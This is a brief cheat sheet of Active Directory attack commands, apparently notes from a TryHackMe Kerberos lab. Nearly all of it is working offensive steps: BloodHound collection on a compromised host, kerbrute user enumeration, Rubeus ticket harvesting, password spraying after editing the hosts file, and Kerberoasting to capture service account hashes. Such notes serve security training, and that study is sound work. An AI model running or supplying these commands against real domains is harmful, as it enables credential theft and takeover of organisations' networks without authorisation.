Once on a compromised domain joined asset, take these credentials and fire up bloodhound.py and gather domain information to import into Bloodhound.
Enumerating users
└─ ./kerbrute_linux_amd64 userenum --dc CONTROLLER.local -d CONTROLLER.local /home/kali/Documents/thm/attacking_kerberos/User.txtHarvesting Tickets on the DC
-Rubeus.exe harvest /interval:30Password Spraying on the DC to get a TGT
-First: echo 10.10.170.31 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
-Rubeus.exe brute /password:example_value /noticketKerberoasting: Allows you to find Servical Principal Name accounts that can be attacked and grab the Hash
-Rubeus.exe kerberoast